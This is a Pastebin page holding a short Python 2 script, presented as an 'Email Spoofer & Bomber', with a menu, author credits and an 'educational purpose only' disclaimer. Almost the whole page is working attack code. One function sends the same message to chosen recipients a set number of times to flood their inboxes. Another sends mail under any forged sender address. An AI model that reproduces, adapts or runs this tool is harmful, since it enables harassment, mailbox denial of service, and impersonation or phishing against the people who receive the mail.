stoker

Email spoofer/Bomber

Jan 22nd, 2014
1,140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.55 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import smtplib
  4. import string
  5. import sys
  6.  
  7. def prompt(prompt):
  8.     return string.strip(raw_input(prompt))
  9.  
  10. def index():
  11.     print '''
  12.  
  13.                    [*]          ==> Python Email Spoofer & Bomber.
  14.                    [*]          ==>Author: Muhammad Adeel aka Innoxent Stoker
  15.                    [*]          ==> FB: http://facebook.com/xtoker
  16.                    [*]          ==> Email: [email protected]
  17.  
  18.                    [*]                            _\|/_
  19.                    [*]                            (*_*)
  20.                    [*]                    +----oOO-{_}-OOo--------------+
  21.                    [*]                    |==> author: Muhammad Adeel   |
  22.                    [*]                    +==> FB.com/xtoker            +
  23.                    [*]                    |==> [email protected]      |
  24.                    [*]                    +-----------------------------+
  25.  
  26.                    [*]         1: Email Bomber
  27.                    [*]         2: Email Spoofing
  28.                    [*]         3: Need Help?
  29.                    [*]         4: Exit
  30.                    [*]         5: Copyrights(c)
  31.  
  32.                    [*]         Select Any Number from 1 to 5
  33. '''
  34.     select = raw_input('\n\nstoker@Ubuntu:~# ')
  35.     if select == '1':
  36.         bomb()
  37.     elif select == '2':
  38.         fake()
  39.     elif select == '3':
  40.         help()
  41.     elif select == '4':
  42.         sys.exit()
  43.     elif select == '5':
  44.         copyrights()
  45.     else:
  46.         print "\n\nPlease Select a Number From ZERO to FIVE."
  47.         index()
  48.  
  49. def bomb():
  50.     fromaddr = prompt("\nSender's Mail: ")
  51.     toaddrs  = string.split(prompt("Reciever's Mail: "))
  52.     print "Number of Sendings: "
  53.     times = input('\n\nstoker@Ubuntu:~# ')
  54.     print "Enter Your Message,End with Pressing 'ENTER' 2 times: "
  55.      
  56.     # Message Body....
  57.    
  58.     msg = ("From: %s\r\nTo: %s\r\n\r\n"
  59.            % (fromaddr, string.join(toaddrs, ", ")))
  60.     while 1:
  61.         line = raw_input()
  62.         if not line:
  63.             break
  64.         msg = msg + line
  65.  
  66.     print "+-----------------------------------+"
  67.     print "| Sending Email Bombs Now.          |"
  68.     print "+-----------------------------------+"
  69.     print "| Please Wait...                    |"
  70.     print "+-----------------------------------+"
  71.    
  72.     BombCount = 0
  73.     while BombCount <= times:
  74.         BombCount = BombCount + 1
  75.         server = smtplib.SMTP('localhost:8080')
  76.         server.set_debuglevel(1)
  77.         print "Sending", BombCount, " : "
  78.         server.sendmail(fromaddr, toaddrs, msg)
  79.         server.quit()
  80.    
  81.     print "Sent Successfully."
  82.     print "Press 'BACK-SPACE' to go back to index."
  83.     pause = raw_input('For More Visit: http://writingexploit.blogspot.com')
  84.  
  85. def fake():
  86.     fromaddr = prompt("\nSender's Mail: ")
  87.     toaddrs  = string.split(prompt("Reciever's Mail: "))
  88.     print "Enter Your Message,End with Pressing 'ENTER' 2 times: "
  89.      
  90.     # Message Body...
  91.    
  92.     msg = ("From: %s\r\nTo: %s\r\n\r\n"
  93.            % (fromaddr, string.join(toaddrs, ", ")))
  94.     while 1:
  95.         line = raw_input()
  96.         if not line:
  97.             break
  98.         msg = msg + line
  99.          
  100.     print "+-----------------------------------+"
  101.     print "| Sending Fake Email Now.           |"
  102.     print "+-----------------------------------+"
  103.     print "| Please Wait...                    |"
  104.     print "+-----------------------------------+"
  105.  
  106.  
  107.     server = smtplib.SMTP('localhost:8080')
  108.     server.set_debuglevel(1)
  109.     print "Sending Fake Mail to: ", toaddrs
  110.     server.sendmail(fromaddr, toaddrs, msg)
  111.     server.quit()
  112.  
  113.     print "Sent Successfully."
  114.     print "Press 'BACK-SPACE' to go back to index"
  115.     pause = raw_input('For More Visit: http://writingexploit.blogspot.com')
  116.  
  117. def help():
  118.     print """
  119.    
  120.    +----------------------------------------------+
  121.    |                Disclaimer                    |
  122.    +----------------------------------------------+
  123.    |                                              |
  124.    | [Stoker is Not Resposible For.               |
  125.    |                                              |
  126.    |     How u use This Programme.                |  
  127.    |                                              |
  128.    |        Its For Educational Purpose Only.]    |
  129.    |                                              |
  130.    +----------------------------------------------+
  131.    """
  132.     pause = raw_input("Press 'ENTER' to Continue.")
  133.     print """
  134.    
  135.    +----------------------------------------------+
  136.    |                Need Help?                    |
  137.    +----------------------------------------------+
  138.    |  Requirement:  Python & SMTP server.         |
  139.    |                                              |
  140.    |  Python: http://python.org                   |
  141.    |                                              |  
  142.    |  For any kind of Assistance Fell free        |
  143.    |  to Contact me at ==> FB.com/xtoker          |
  144.    |                                              |
  145.    +----------------------------------------------+
  146.    """
  147.     pause = raw_input("Press 'ENTER' to return.")
  148.     index()
  149.  
  150. def copyrights():
  151.     print """
  152.  
  153.    +++++++++++++++++++++++++++++++++++
  154.    |     Copyright(c) 2014-2015      |
  155.    +---------------------------------+
  156.    |        InnoXent Stoker          |
  157.    +---------------------------------+
  158.    | CEO & FOUNDER @ WritingExploits |
  159.    +++++++++++++++++++++++++++++++++++
  160.  
  161.    """
  162.     pause = raw_input("Press 'ENTER' to Go back ")
  163.     index()
  164. index()
Add Comment
Please, Sign In to add comment